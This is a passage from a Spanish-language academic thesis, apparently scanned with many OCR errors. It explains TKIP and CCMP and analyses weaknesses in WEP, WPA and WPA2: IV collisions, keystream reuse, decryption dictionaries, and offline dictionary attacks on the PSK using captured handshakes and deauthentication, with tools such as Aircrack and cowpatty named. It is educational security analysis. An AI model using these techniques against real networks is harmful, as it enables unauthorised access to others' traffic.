La generacion del MIC hace uso del algoritmo Michael de Niels
Ferguson. Fue elaborado para TKIP y posee un nivel de seguridad de 20 bits
(este algoritmo no implementa la multiplicacion debido al rendimiento, esto
debido al soporte del equipo de red antiguo para actualizar a WPA). Debido a
esta restriccidn, es necesario que se implementen procedimientos para prevenir
gue el MIC sea falsificado. En caso contrario, se iniciard una desconexion de
60 segundos y se constituirdn nuevas claves GTK y PTK después de dicha
desconexion. El algoritmo Michael computa un valor de verificacion de 8 octetos
denominado MIC y lo adjunta a la MSDU antes de ser transmitido. El MIC es
computado a partir de la SA o direccion origen, la DA o direccién de destino,
MSDU de sodlo texto y la TMK respectiva, que, conforme al lado donde se dé la

comunicacion, se usara una clave distinta para la transmision y recepcion.
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Figura 19. Computaciéon de MIC, utilizando el algoritmo de Michael

SA DA MSDU sélo texto MIC (8 octetos)

TMK
(64 bits)

El protocolo CCMP esta fundamentado en la suite de cifrado de bloques
AES (Advanced Encryption Standard) con modo de operacion CCM, esto es,
mediante una clave y bloques de 128 bits de longitud. Haciendo una
comparacién es correcto afirmar que AES es a CCMP, como RC4 es a TKIP,
sin embargo, de forma contraria a TKIP, diseflado para acomodarse a los
equipos WEP existentes, CCMP no es Unicamente un pacto, Sin0O un nuevo

disefio de protocolo.

El protocolo CCMP hace uso del counter mode ademas de un método de
autenticacion de mensajes denominado Cipher Block Chaining (CBC-MAC)

usado en la generacion de un MIC.

Dentro de los aspectos importantes por mencionar, esta la utilizacion de
una clave unica para el proceso de encriptar y autenticar (haciendo uso de
distintos IVs), logrando abarcar datos que no hayan sido encriptados por el

proceso de autenticacion.

El protocolo CCMP adjunta 16 bytes al MPDU, de los cuales 8 son
utilizados para el encabezado CCMP y los 8 restantes en el MIC. El
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encabezado CCMP es un bloque que no esta encriptado y que esté incluido
entre el encabezado MAC y los campos encriptados, entre ellos el PN de 48-
bits (Packet Number o IV Extendido) y la Group Key KeylD. EI PN es

aumentado de uno en uno por cada MPDU consecutivo.

Figura 20. Encriptacion CCMP

MPDU sdlo texto TEK PN Keyld
Incremento
MAC Datos Nimero PN
Header ¢
AAD
MPDU SA. v ¢ v Consiruye CCMP Header
Prioridad -
| Construye Nonce *| Computacion MIC
\ h 4 k4

| Encriptacion CCM |

MAC CCMP Header FCS
Headear & octetos Datos (PDU) >= 1 ocleto MIC 8 octetos 4 octetos
AAD: Datos Adiclonales de Autenticacidn (MPDU Header) PN: Numerp de Paquetes = Ext IV

El calculo de MIC hace uso del algoritmo CBC-MAC que toma un bloque
nonce de inicio (que se calcula a partir de los campos de Priority, la direccion
fuente de MPDU y el PN aumentado), lo encripta y luego aplica la funcion XOR
sobre los bloques consecutivos para conseguir un MIC final de 64 bits (en
realidad el MIC final es un campo de 128-bits, dado que no se toman en cuenta
los 64 bits del final). Entonces el MIC es agregado a los datos de texto realizar

el proceso de encriptacion AES en modo contador. El contador es construido a
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partir de un nonce semejante al del MIC, pero con un bloque de contador extra
que esta con valor inicial de 1 y se aumenta para cada bloque.

Para finalizar, debe mencionarse el protocolo WRAP, que también opera
con los fundamentos de AES pero haciendo uso del marco de encriptacion
autenticada OCB (Offset Codebook Mode, donde se realiza el proceso de
encriptacion y autenticacion en una sola operacion). El equipo de trabajo de IEE
802.11i opto inicialmente por el modo OCB, sin embargo fue cambiado después
debido a problemas de propiedad intelectual y licencias. Por lo tanto, se

estableci6 CCMP como obligatorio.
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4. AMENAZAS Y VULNERABILIDADES DE LOS
CIFRADOS WEP, WPA'Y WPA?2

4.1 Amenazas al cifrado WEP

Examinando el cifrado WEP a detalle, existe una serie de amenazas y
riesgos que lo vuelven vulnerable ante determinadas condiciones. En esta
seccion se resumiran todas las vulnerabilidades y asi como las principales
causas que hacen de este cifrado un sistema inseguro de proteccion para

comunicaciones criticas.

4.1.1 Longitud de cifrado poco efectiva

Hace ya algunos afios se demostré que el algoritmo RC4 sufre maltiples
vulnerabilidades, entre las cuales destacan las que practicamente reducen la
longitud efectiva del cifrado a 24 bits, en lugar de los 128 que se pueden definir

como maximo en WEP.
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Como se explico en el capitulo anterior, WEP utiliza 24 bits y 40 bits de
clave para el caso de un cifrado de 64 bits, pero para un cifrado de 128 bits
también utiliza 24 bits para el IV y 104 bits para de clave. Por tanto, el cifrado
WEP ofrece Unicamente seguridad de 24 bits en cualquiera de sus longitudes.
Errbneamente, muchos administradores de red conn WEP con seguridad de
128 bits, con la nocion de duplicar la seguridad del cifrado WEP. Esto no es un
razonamiento completamente cierto. Debe hacerse hincapié en el hecho de que
un cifrado de 64 bits no es la mitad de débil que uno de 128, la mitad de uno de

128, en cambio, seria uno de 127 bits.

2128 | 51 _ 5 (128-1) _ 5127

Por lo que un cifrado de 24 bits es 2%

veces la mitad de débil que uno
de 128. Al no utilizar el maximo posible de 128 bits en el cifrado WEP, y utilizar
Gnicamente 24 bits para su seguridad, se puede afirmar que un ataque que
rompa una clave de 64 bits, sera igualmente efectivo para romper un cifrado de
128 bits, esto porque la seguridad implementada en ambos casos es

Unicamente de 24 bits.

4.1.2 Amenazas ala conexion

Como consecuencia de que el punto de acceso anuncia el SSID cada
intervalo corto de tiempo, cualquier atacante puede captar (o escuchar) la red
inalambrica aunque cuente con seguridad. Unos pocos segundos son
suficientes para que cualquier equipo detecte el canal de operacion y el nombre

de la red.
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Debido a esta situacién de inseguridad, el fabricante Lucent fue de los
primeros en tomar medidas correctivas para paliar esta situacion, dicha medida
fue denominada Red Cerrada (Closed Network). Esta medida, de red cerrada
consistié Unicamente en cesar el anuncio de la red por medio del frame de

beacon, es decir, no difundir el SSID.

Sin embargo, en la actualidad esta medida es simplemente una pequefia
dificultad afiadida para el atacante, quien debera realizar un pequefio
procedimiento adicional para descubrir los datos de la red. Dia a dia han ido
apareciendo nuevo software que convierte el adaptador inalambrico del equipo
en un sniffer, tales como AirSnort o AirTraf, que permiten descubrir, escuchar y

analizar redes de inalambricas de area local.

4.1.3 Amenazas a la autentificacion

La autentificacion por clave compartida del cifrado WEP envia textos
claros entre los equipos a través del canal de comunicacion, luego dichos textos
son encriptados y nuevamente transmitidos a través del mismo canal de
comunicacién. Por tanto, haciendo uso de un ataque de fuerza bruta es posible
llegar a descubrir la clave compartida si se tienen suficientes muestras de
paquetes de texto claros enviados y sus respectivas contrapartes encriptadas.
De esta forma un atacante puede ejecutar un ataque pasivo para averiguar la
clave secreta, debido a que la comunicacion se transmite en el canal sin ningun

control por parte de cualquiera de los participantes legitimos de la red.
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Cuando la clave secreta es descubierta, la red y la comunicacion entre
sus participantes estaran completamente expuestas, ya que el atacante sera
capaz de encriptar y desencriptar todo el trafico, a causa de que en el cifrado

WEP la clave de autentificacion es la misma clave de encriptacion.

Lucent, como fabricante preocupado por la seguridad, nuevamente trato
de combatir este problema al implementar la seguridad WEP de 128 bits. En
esta seguridad la clave WEP pasa de 40 a 104 bits, haciéndola mas fuerte ante

el ataque mencionado.

Finalmente, algunos administradores de red consideran que es mas
seguro desactivar la autentificacion mediante este protocolo, ya que de esta
forma se protege mas la clave de encriptacion WEP. Lamentablemente, la
mayoria de equipos tienen la autentificacion WEP por defecto y son instalados

sin modificar dicha caracteristica.

4.1.4 Reutilizacion del KeyStream

El sistema WEP usa un 1V (Initialization Vector o Vector de Inicializacion)
con longitud fija de 24 bits en cualquiera de su longitud de cifrado (64 6 128
bits). Analizando detenidamente el proceso de cifrado, se describié en el
capitulo anterior que problemas existen con la variacién del IV, ahora se

explicara tedricamente esta debilidad.
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La paradoja del cumpleafos establece que si hay 23 personas reunidas,
hay una probabilidad del 50,7% de que al menos dos personas de ellas
cumplan afios el mismo dia. Para 60 o mas personas la probabilidad es mayor
del 99%. Obviamente es del 100% para 367 personas (teniendo en cuenta los

afios bisiestos).*

Partiendo de esto, segun la paradoja del cumpleafios, la probabilidad Pn

de que dos paquetes compartan el mismo 1V después de n paguetes es:

o= Lt
224

Después de dos marcos, y:

Pn= pn_1+w Paran>?2
224

Por lo tanto con Unicamente 4823 paquetes existe una probabilidad de

choque del 50%, es decir, de que se duplique determinado IV.

Figura 21. Generacién del nimero pseudo aleatorio del algoritmo WEP

Pseudo-random

Encryption Key K |::> number generator

{Llave de Encripcion) {Generador de Numeros
Pseudo Aleatorios)
Random byte b
{Byte de Datos de Texto Plano) (Byte Aleatorio) {Byte de Datos de Texto Cifrado )
Plaintext data byte ::> ® |::> Ciphertext data byte
p c

% paradoja del cumpleafios. http://www-fa.upc.es/websfa/fluids/TIM/pdf/
Paradojas_acertijos y demostraciones_invalidas.pdf
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Dado que el algoritmo de encriptacion RC4 ejecuta la encriptacion de los
textos aplicando la funcibn XOR entre los datos de entrada y un byte pseudo
aleatorio, se puede apreciar que dos bytes tomados de dos flujos de datos
cualesquiera, usando el mismo IV y localizandose en una posicion similar en los

mencionados flujos, poseeran los siguientes valores:

Figura 22. Formula de encriptacion de RC4 usando OR Exclusivo

-,
A

c,=p, DD C,

[

=

.:|
o~

Donde cl es el byte cifrado, pl es el byte en texto claro (sin cifrar) y b es
el byte pseudoaleatorio. Por o que para este ejemplo, es claro apreciar que al
unir ambos bytes cifrados, aunque se desconozca la clave, es posible generar

el siguiente enunciado:

Figura 23. Sustitucion de ecuaciones en formula de RC4

P, =(p,@0)D(p,®b)=p, D p,

Conociendo esta informacién e informacion propia de los paquetes (por
ejemplo: la cabecera IP, etc.) es posible planificar y lanzar un ataque pasivo
contra la red. Ademas, mediante el ICV que se adjunta cifrado al paquete, es
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posible conocer si el proceso de desencriptacion se ha realizado
satisfactoriamente. Con toda esta informacion puede asegurarse lo siguiente:

e Una vez que se conozca el texto plano de uno de los mensajes, es claro

gue se conocera el oro texto plano de manera sencilla.

e Es posible encontrar P1 y P2 partiendo Unicamente del resultado de P1
(+) P2, esto debido a la redundancia con la que generalmente se forman
los textos planos. Por ello, se pueden averiguar dos textos que al
aplicarles una funcién XOR, den como resultado los datos conocidos de
P1 (+) P2.

Conociendo n textos cifrados con el mismo Keystream, se presentara lo
gue generalmente es llamado problema de profundidad n. El proceso de
descifrado de los textos capturados, se vuelve mas facil y sencillo conforme n
vaya creciendo, puesto que el resultado de la funcibn XOR entre cada par de
textos planos puede ser calculado, y existen distintas técnicas clasicas para dar

solucién a los problemas de este tipo (andlisis de frecuencias, etc).

Dado a que en el cifrado WEP el IV es de longitud fija y escasa (24 bits),
esta vulnerabilidad se presenta en ambos casos de su implementacién, clave
de 40 6 102 bits. Si bien es cierto que utilizar WEP de 128 bits complica la
desencriptacion de los paquetes, se sigue presentando el problema de colision
de valores IV. Ademas, es posible utilizar técnicas de inyeccion para generar
trafico acelerado en la red atacada, y asi aminorar el tiempo necesario para que

se presente esta colision.

Por tanto, para que estos ataques puedan romper la seguridad de la red,

basta contar con textos cifrados en donde al menos un segmento del
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Keystream se haya utilizado mas de una vez, y tener conocimiento parcial de

parte del texto plano.

Como medida de seguridad el cifrado WEP hace uso de un IV distinto por
cada paquete transmitido, con el fin de evitar las colisiones. De esta forma,
todos los paquetes reciben un Keystream distinto. Sin embargo, el problema es
que el IV se incluye dentro de la informacién no cifrada del paquete, para que
luego el receptor pueda descifrarlo, con esta situacioén el IV también podra ser
leido por los atacantes sin importar que desconozcan la clave secreta y se
procure la seguridad del Keystream. Como consecuencia, una mala
administracion del IV, que incluya su reutilizacion, implica como consecuencia
una reutilizacion de la clave Keystream, ya que habitualmente la clave secreta

compartida se mantiene fija.

Entonces, como los IV son publicos, la repeticibn de IV puede ser
detectada sin problemas por parte de los atacantes. Esta repeticion de los

valores de IV se denomina colision.

El sistema WEP no implica necesariamente el cambio de IV por cada
paquete a transmitir, aunque si lo recomienda. Lamentablemente no indica ni
aconseja mecanismos para la seleccion de IV, es por ello que muchas

implementaciones del sistema lo hacen de manera pobre.

Por ejemplo, existen tarjetas PCMCIA que resetean el IV a 0 siempre que
son reiniciadas, y luego aumentan el IV en uno en todos los paquetes
siguientes. Estas tarjetas son reseteadas de manera automatica siempre que
son introducidas en un equipo portétil, y dada la naturaleza de su arquitectura,

es logico esperar que esa situacion sea frecuente.
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De tal modo que los Keystream de los IV de bajo orden, son susceptibles
porque tienen la posibilidad de ser utilizados bastantes veces conforme el
tiempo de vida de la clave privada. Preocupante también es el hecho de que la
longitud del IV usado en WEP en cualquiera de sus dos tipos, esta truncada
Gnicamente a 24 bits, por lo que tiene altas probabilidades de usar el mismo IV

en multiples mensajes.

Al realizar una aproximacion de datos reales, se puede deducir que un
punto de acceso en operacién de transmisién de paquetes de 1500 bytes a una
velocidad media de 5 Mbps de ancho de banda (como se definié anteriormente
existen redes de hasta 108 Mbps. en el mercado, siendo 54 Mbps. la mas
comun para redes 802.119) utilizara la totalidad de los valores posibles de 1V en
menos de doce horas. Aln en arquitecturas de red que no tengan trafico masivo
en su canal de comunicacion, un atacante puede encontrar duplicados

facilmente si tiene paciencia.

Existen mas detalles que pueden desembocar en repeticiones de
Keystream de una forma mas periddica. Una solucion que implemente un IV
aleatorio por cada paquete generaria colisiones aproximadamente cada 5000
paquetes, lo que representa en operacion tan solo unos cuantos minutos de

transmision de informacién por el canal de la red inalambrica.

Por tanto la peor vulnerabilidad es que el estandar 802.11 para redes
inalambricas de area local, no requiere que el valor del IV cambie en cada
paquete transmitido, situacion por la que podria aceptar el uso de un IV similar
en cada uno de los paquetes, sin que esto sea una disconformidad con la

norma establecida.
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Entonces, por todas estas situaciones explicadas, es correcto afirmar que
la reutilizacion del Keystream es la vulnerabilidad mas grande del cifrado WEP y

a continuacion se explicara teéricamente como explotar dicha vulnerabilidad.

4.1.5 Explotando la reutilizacion del Keystream

Para explicar como una repeticion del Keystream puede ser aprovechada
por un atacante, podemos partir de que una vez detectados dos paquetes con
el mismo 1V, es posible aplicar una variedad de técnicas para obtener el texto
plano original. Una vez que se conozca el texto en plano de uno de los

mensajes conocer el contenido del otro, es una operacion trivial.

Existen varias maneras de conseguir candidatos aceptables de texto
plano. Distintos campos del tréfico IP son previsibles, puesto que los protocolos
implementados utilizan estructuras de mensaje claramente sabidas. Por
ejemplo, el proceso de acceso a sistemas es bastante parecido para la mayoria
de usuarios, y asi mismo lo son las extensiones y definiciones de contenidos
seguridad (por ejemplo, la palabra “admin” como contrasefia) haciendo que

muchas veces los procedimientos encargados de la seguridad, fallen.

Otro ejemplo para explotar esta reutilizacién, podria radicar en la
posibilidad de distinguir a través de un analisis exhaustivo de las tramas de los
paquetes del trafico de la red, junto a su longitud y averiguar una libreria
compartida que se pudiera transmitir en un sistema de red inalambrica. Asi se
reconoceria una enorme cantidad de plano conocido que pudiera usarse en un

ataque controlado y secuencial contra el Keystream en busca de reutilizaciones.
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Para lograr la transmision de texto plano conocido, los atacantes pueden
intentar enviarlos a los clientes de la red a través de Internet como correo
electronico no deseado (SPAM). Entonces el atacante Unicamente deberia
esperar pacientemente a que los clientes descarguen el contenido enviado a
través de la red inalambrica. Por tanto, esta técnica puede lograr su cometido

sin despertar sospechas de los usuarios legitimos de la red.

Sin embargo la recuperacion de texto plano conocido resulta menos
complicada. Ya que un punto de acceso es capaz de transmitir paquetes
broadcast en modo cifrado y no cifrado si la opcidn de acceso controlado a la
red se encuentra desactivada. Bajo estas circunstancias, un atacante con un
adaptador de red bajo el estandar 802.11 es capaz de transmitir paquetes de
broadcast al punto de acceso (mismos paquetes que seran admitidos al estar
desactivado el acceso controlado de red) y analizar el producto cifrado que sera
retransmitido. Esta situacion no puede evitarse en redes WEP que contengan
mezclas de clientes WEP donde algunos tengan implementados los servicios
para cifrado y otros no, a causa que los paquetes broadcast necesitan alcanzar
a todos los clientes conectados, no existe una implementacién que evite el uso

de esta técnica para recuperar texto plano conocido.

Para terminar, es necesario mencionar que adn sin saber ningun texto
plano, un atacante puede examinar a través de suposiciones, textos planos que
sean susceptibles y candidatos para ser transmitidos, que al aplicarles distintas

técnicas poco complejas deriven en la recuperacién de la clave secreta.
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4.1.6 Problemas con el IV de WEP

Como se ha explicado anteriormente, el IV del protocolo WEP es de 24
bits de longitud para cualquiera de sus implementaciones (64 6 128 bits). Pero
el sistema WEP agrega el IV a la llave compartida para formar una familia de
2%* |laves, es decir un total de 16777216 que constituyen el universo de llaves.
Cada marco o “frame” de transmisién selecciona una llave entre este universo y

encripta los datos a transmitir con esta llave.

Este esquema padece de un problema fundamental. Desde que el flujo
de llave cifrado no puede ser reutilizado nunca, obliga a que el BSS cambie de
llave base tan pronto como sus miembros hayan consumido las 2%* llaves
derivadas de la llave base. La manera en que WEP define la forma de cumplir
esto, no es para nada practica, porque en la practica las llaves WEP no son
reemplazadas con suficiente frecuencia para mantener un nivel de privacidad
deseado. Esto nos lleva a un amplio abuso de claves, un solo BSS de punto de
acceso corriendo a 11Mbps y con una distribucion tipica de paquetes puede
agotar el espacio de las claves derivadas alrededor de una hora. Una red de
multiples puntos de acceso con decenas, centenas o incluso miles de puntos de
acceso, pueden agotar el espacio de las claves en un indice mayor, certero e

inversamente proporcional al nimero de puntos de acceso.

El problema es mayor que lo que esto sugiere. Desde que WEP
comparte la misma clave base entre todos los miembros del BSS, y desde que
la seguridad de WEP depende de la dupla de clave base y el 1V, nunca ha sido
reciclado, WEP necesita un algoritmo de evasion para prevenir que un nodo
reutilice un IV que ya haya sido usado por otro. WEP no define ningun

algoritmo para esto, y ni siquiera esta claro como disefiar alguno. Un BSS
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puede, por ejemplo, dividir el espacio de IV entre los elementos del BSS en una
manera predefinida, pero esta especie de esquema también presupone un
comportamiento estatico del miembro del BSS o algun esquema para
transferencia e indicacion de cuales IV han sido usados entre los miembros del
BSS.

La manera usual de evitar este tipo de dificultad es seleccionar de
manera aleatoria el IV. La seleccidon aleatoria del IV, como sea, presenta sus

propias dificultades debido a la paradoja del cumpleafios.

Como se explicoé anteriormente, la paradoja del cumpleafios es llamada
asi para contar de manera intuitiva el hecho de que en un grupo pequefio de 23
personas, hay un 50% de probabilidad de que dos miembros del grupo
compartan el mismo dia de cumpleafios, en general, si un grupo de n miembros
y elementos son seleccionados del grupo, uno a la vez con reemplazo,
entonces la probabilidad de un duplicado después de dos intentos es p2 = 1/ny

para k > 3, la probabilidad de que exista al menos un duplicado es

pe= Py-1+(k-1) [ij(l-pk-l)

En el caso de que el espacio WEP toma mas de n = 2% y que
excedamos el 50% de probabilidad de una colisidbn entre IV después de
solamente 4823 ~ 22 marcos. La probabilidad de una colisién ya es 99%
después de 12,430 marcos, 0 en 2 6 3 segundos de trafico normal a 11Mbps.

Hay un 10% de oportunidad de una colisién después de 1881 frames, un 1% de
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probabilidad después de 580, un 0.1% después de 184, 0.01% después de 59 y
un 0.001% después de solamente 19 marcos. Con una seleccion aleatoria de
valores de IV, manteniendo cinco ceros de certeza (0.000001%) se convierte
en personalizacion de varios campos computados, requiere cambio de clave
base después de todos los miembros del BSS hayan transmitido un total de 6
frames bajo la llave. La probabilidad es normal a 11 Mbps, el BSS empezara a
reutilizar las claves en menos de una segundo operacion, y hay una
probabilidad despreciable de que un ataque pueda suceder con éxito antes de

gue este tiempo haya transcurrido.

Es importante dejar claro lo que esto significa. Esto no significa que 50%
de IV (y por consiguiente las claves) colapsaran alrededor de 2%? paquetes.
Esto quiere decir que un atacante colecta una trama de paquetes de alrededor
de 2% frames, hay alrededor de un 50% de que esa trama contenga al menos
un IV duplicado. Pero esta es toda la ayuda que el atacante necesita para

romper la seguridad de la red.

4.1.7 Diccionarios de descifrado

Luego que se haya recuperado con éxito el texto plano de un mensaje
determinado, es posible separar el valor del Keystream, aplicando la técnica de
analisis de IV o mediante otros procedimientos. Esto habilita al atacante para
utilizar este Keystream con el fin de descifrar cualquier paquete que tenga un IV

similar.

Debido a que las claves privadas compartidas k son cambiadas alguna

vez, el atacante, a través de la captura masiva de informacion, puede formar un
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arreglo de Keystreams que pertenezcan a distintas IV. Cuando se ha construido
la tabla, descifrar cada texto cifrado es una tarea poco complicada y

relativamente facil.

Esta situacion no depende en ningin momento de la longitud de clave de
cifrado, debido a que el tamafio de las entradas del diccionario estara fijado a
24 bits, porque depende del IV y este no varia su longitud. Incluso, el
diccionario utilizado en el ataque se hard mas practico al aprovechar el modo de
operacion de las tarjetas PCMCIA ya que estas establecen el IV a 0 cada vez
que son reseteadas.

Debido a la mayoria de casos habituales donde las tarjetas se arrancan
al menos una vez diaria, el atacante podria establecer un diccionario limitado
Unicamente a los primeros millares de valores de 1V, esto le habilitaria descifrar
casi todos los paquetes transmitidos por el punto de acceso. La ventaja en este
caso es, como se ha explicado anteriormente, que en una red bajo el estandar
802.11 con bastantes clientes, se presentan colisiones en los primeros miles de

valores de IV muchas veces.

4.1.8 Gestion de claves

Para iniciar este tema, es importante mencionar que el estandar 802.11
no cuenta con una definicion formal de un procedimiento para distribuir las
claves. Al contrario, la distribucion utiliza un procedimiento externo para llenar la
matriz de cuatro claves compartida globalmente. Todos los mensajes incluyen
un campo para la identificacién de clave donde se especifica la posicion de la

clave dentro de la matriz que se uso para el proceso de cifrado.
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Conforme las definiciones del estdndar 802.11, es permitido
corresponder una clave especifica de la matriz a cada equipo de la red, pero
este no es un método comun, ya que casi la totalidad de las arquitecturas de
red implementan una uUnica clave para acceder a la red. Esta situacion afecta
directamente la seguridad de la red, puesto que las contrasefias son guardadas
del lado de los equipos de la red. No es una sorpresa que estas claves puedan

ser robadas mediante técnicas de hacking usuales.

Adicionalmente cabe mencionar que el hecho de utilizar una Unica clave
para todos los usuarios, repercute en garantizar mas probabilidad de éxito a los
ataques porque las colisiones de IV se incrementan seriamente. Las
posibilidades de colisién de valores de 1V son directamente proporcionales a los
equipos conectados a la red, y si se considera el comportamiento (de
reestablecer valor 0 al IV cada vez que se resetean) practicamente la totalidad
de los usuarios reutilizaran Keystreams pertenecientes a un pequefio grupo de

valores de V.

Si bastantes equipos de la red comparten la clave privada, resulta muy
complicado reemplazar dicha clave, ya que es bastante peligroso comprometer
esta informacion entre todos los usuarios. Sin mencionar que esta operacion
generalmente es omitida porque necesita una nueva configuracion del

adaptador inalambrico en todos los equipos.

Por ultimo se debe mencionar que la mayoria de atacantes disponen de
mucho tiempo para buscar vulnerabilidades, ya que en la practica, se ha
comprobado que transcurren meses o incluso mas tiempo, sin que las claves

privadas sean cambiadas,
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4.1.9 Sumario de vulnerabilidades

Debido a que el sistema WEP no fue elaborado por expertos en
seguridad o criptografia, su vulnerabilidad ante los problemas RC4 descritos por
Wagner, fue demostrada rapidamente. Scott Fluhrer, Itsik Mantin y Adi Shamir
(ver referencias en la bibliografia) hicieron la publicacién del polémico articulo
donde se esbozaron las dos vulnerabilidades mas criticas de WEP, debilidades

de no-variacion, y ataques IV conocidos.

Estos ataques tienen sus raices en la condicion de que para algunos
valores de clave existe la posibilidad que los bits en los primeros bytes del flujo
de clave sean dependientes de una pequefia cantidad de bits de la clave de
encriptacion (aunque segun lo demostrado anteriormente, existe la posibilidad
del 50% de que cada bit de un flujo de clave sea distinto que su antecesor). Ya
gue la clave de encriptacion se compone de la union de la clave secreta con el

valor del 1V, algunos valores del IV no son lo suficientemente fuertes.

También es vulnerable debido a su debilidad, la fase de comprobacion de
integridad a causa de los sabidos del algoritmo CRC32 que es aplicado para
esta funcién. El algoritmo CRC32 es generalmente utilizado para detectar
errores, sin embargo jamas se consider6 como seguro desde una apreciacion
criptografica, a causa de su linealidad, situacion que en el 2001 advirtieron

Nikita Borisov, lan Goldberg y David Wagner.

A partir de esto, se acepto que WEP brindara una seguridad Unicamente
aceptable en entornos domésticos e infraestructuras que no transmitieran
informacion critica. Pero lamentablemente esta afirmacién se invalidé cuando

aparecieron los ataques KoreK en el afio de 2004 (que implementan ataques
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universales de FMS ademas de optimizaciones de hlkari), ademas del ataque
inductivo invertido Arbaugh, que cuando se combinan con técnicas de inyeccion
de trafico, logran desencriptar paquetes totalmente arbitrarios sin conocer la

clave.

Usando algunas herramientas de Craking como AirCrack y un adaptador
de red adecuado (que permita operar en modo monitor) es posible recuperar
una clave de un sistema WEP de 64 bits, en aproximadamente 10 minutos.
Cuando se aparecieron las técnicas de inyeccion de tréfico, el tiempo para
crackear una red WEP mejor6 de manera alarmante, ya que no eran necesarios
millones sino miles de paquetes con suficientes valores [V Unicos
(aproximadamente 150,000 para WEP de 64 bits y 500,000 para WEP de 128
bits) y averiguar la clave de la red era cuestion de minutos.

Finalmente se pueden esbozar las vulnerabilidades mas grandes tal

como sigue:

¢ Implementacion del algoritmo RC4 que es débil a razén de la generacion

de la clave

e La longitud del IV es bastante corta (24 bits) lo que nos brinda una
probabilidad de 50% de averiguar la clave, con Unicamente 5000
paquetes, ademas que es permitida la reutilizacion de IV (no existe

ninguna implementacion para proteger la repeticion de mensajes)
¢ No se implementa una comprobacién de integridad correcta (es utilizado

el algoritmo CRC32 para tratar de detectar errores y este algoritmo no

es, desde un punto de vista criptografico seguro debido a su linealidad)
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¢ No hay implementado ningin método integrado que permita actualizar

las claves.

4.2 Debilidades del cifrado WPA y WPA2

4.2.1 Debilidades de WPA/WPA2

Como contraparte a la inseguridad demostrada en el caso del sistema
WEP, las vulnerabilidades que se han encontrado en WPA/WPA2 no
representan peligro alguno si la red se implementa con las minimas

recomendaciones de seguridad.

La vulnerabilidad con mas probabilidades de éxito consiste en un ataque
contra la clave PSK (Pre Shared Key) de WPA/WPAZ2.

4.2.2 Ataque contra la clave PSK

Como ya indicé anteriormente, la PSK proporciona una alternativa a la

generacion de 802.1X PMK usando un servidor de autenticacion.

La PSK es una cadena con longitud de 256 bits o bien una frase de 8 a
63 caracteres, y es utilizada para generar una cadena de texto usando un

algoritmo sabido:
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PSK = PMK = PBKDF2 (frase, SSID, SSID length, 4096, 256),

Donde PBKDF2 es un procedimiento usado en PKCS#5, 4096 es la

cantidad de hashes y 256 es la extensién (longitud) del resultado.

La PTK se origina de la PMK haciendo uso del 4-Way Handshake y la
totalidad de la informacion usada para el calculo de su valor es transmitida con
formato texto. El poder de la PTK se encuentra en el valor de PMK, que para

PSK representa de manera exacta una frase sélida.

Como indica Robert Moskowitz, el segundo de los mensajes transmitidos
durante el desarrollo del 4-Way Handshake estaria expuesto a ataques de
diccionario o ataques fuera de linea de fuerza bruta. Existe un software llamado
cowpatty que fue creado para explotar esta vulnerabilidad, asi mismo
Christophe Devine optimiz6 sus lineas de cddigo en su suite Aircrack,
permitiendo estos ataques contra WPA. El protocolo esta disefiado con 4096
para cada intento de frase, como se puede observar el método de la fuerza
bruta es bastante lento, ya que apenas procesa algunas centenas de frases

cada segundo en un microprocesador simple actual.

Es necesario mencionar que no es posible pre calcular la PMK, y
tampoco almacenarla en arreglos, ya que la frase de acceso se codifica también
con la ESSID. Pero una frase segura (con simbolos, nimeros y alteraciones de
minusculas y mayusculas) dificil de encontrar en algun diccionario, deberia de

ser elegida para una proteccion eficaz ante esta debilidad.

¥ pTK y PMK. http://www.hsc-labs.com/ressources/articles/hakin9 wifi/hakin9 wifi ES.pdf
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Para realizar este ataque, el intruso deberia tener capturados todos los
mensajes del 4-Way Handshake, realizando una escucha pasiva en la red o
bien combinar este ataque con el de des-autenticacion para tratar de apresurar

el desarrollo del ataque.

Especificamente, se requieren los primeros mensajes para permitir un

intento de prediccion los valores de PSK. Se debe mencionar que:

PTK = PRF-X (PMK, Pairwise key expansion, Min(AP_Mac, STA_ Mac) || Max(AP_Mac,
STA_Mac) || Min(ANonce, SNonce) || Max(ANonce, SNonce)),

Donde PMK es igual a PSK en este caso. Luego de capturar el segundo
mensaje, el intruso puede averiguar ANonce (numero del primer mensaje) y
SNonce (numero de segundo mensaje) y esta habilitado para comenzar a
pretender calcular el valor PSK, y conseguir PTK y generar claves temporales.
En caso de que la PSK se llegara a averiguar de manera correcta, existe la
posibilidad de conseguir el MIC del segundo con un valor adecuando de KCK,

pero si aun asi no se consiguiera, puede seguir probando suerte.

4.2.3 Posibilidad de negacién del servicio

La posibilidad de que denegacion de servicio es otra debilidad de WPA 'y
WPA2. Changhua He y John C. Mitchell observaron que cuando se envia el
primer mensaje del 4-Way Handshake no existe autenticacion previa, y todo
cliente deberia de guardar el primer mensaje que envio hasta que llegue a ellos
un tercer mensaje legitimo, por tanto el cliente es vulnerable potencialmente
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ante el agotamiento de memoria. Mediante técnicas de spoofing del primer
mensaje transmitido por el punto de acceso, un intruso podria replicarlo hasta

lograr un atague DoS (Denial Of Service o Negacion de Servicio) para el cliente.

Otra parte que posee debilidades y que merece mencion, es la integridad
de mensajes, puesto que el algoritmo Michael posee asimismo debilidades
propias de disefio. Michael basa su seguridad en la transmisién de informacién
encriptada. Sin importar que los MICs criptograficos sean comunmente
disefiados para no ser vulnerables a este tipo de ataques de texto conocidos,
para los cuales el intruso deberia tener un mensaje de texto y su MIC, el
algoritmo Michael sufre vulnerabilidad ante estos ataques, ya que puede ser
invertible. Esto es preocupante porque al contar con un sélo mensaje y su valor
MIC, es posible recuperar la clave secreta de MIC, por lo tanto es critico que el
valor del MIC permanezca secreto.

Por dltimo, se mencionard la amenaza tedrica de un ataque contra el
Temporal Key Hash de WPA, esto que envuelve un ataque poco complejo (de

0128 a 9105) en determinadas situaciones (se conocen varias claves RC4).

Los sistemas WPA y WPA2, también son vulnerables ante ataques que
perjudican a otros procedimientos estandar de 802.1licomo son los ataques
con spoofing de mensajes 802.1X (EAPoL Logoff, EAPoL Start, EAP Failure
etc.), revelados en primicia por Wiliam A. Arbaugh y Arunesh Mishra y
probablemente alguna falta de autenticacion. Finalmente, se debe mencionar
gue el uso del protocolo WPA / WPA2 no cuenta con proteccion ante ataques a
las tecnologias en los que estan basados, por ejemplo, intercepcion del medio
inalambrico, interferencia, Negacién del Servicio a través de violaciones de

802.11, de-autenticacion, de-asociacion, etc.
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5. INFORME DE LA PRACTICA EXPERIMENTAL DE
ROMPIMIENTO DE CLAVES WEP

5.1 Introduccion

A lo largo de los afios, se debatié acerca de las formas para lograr utilizar
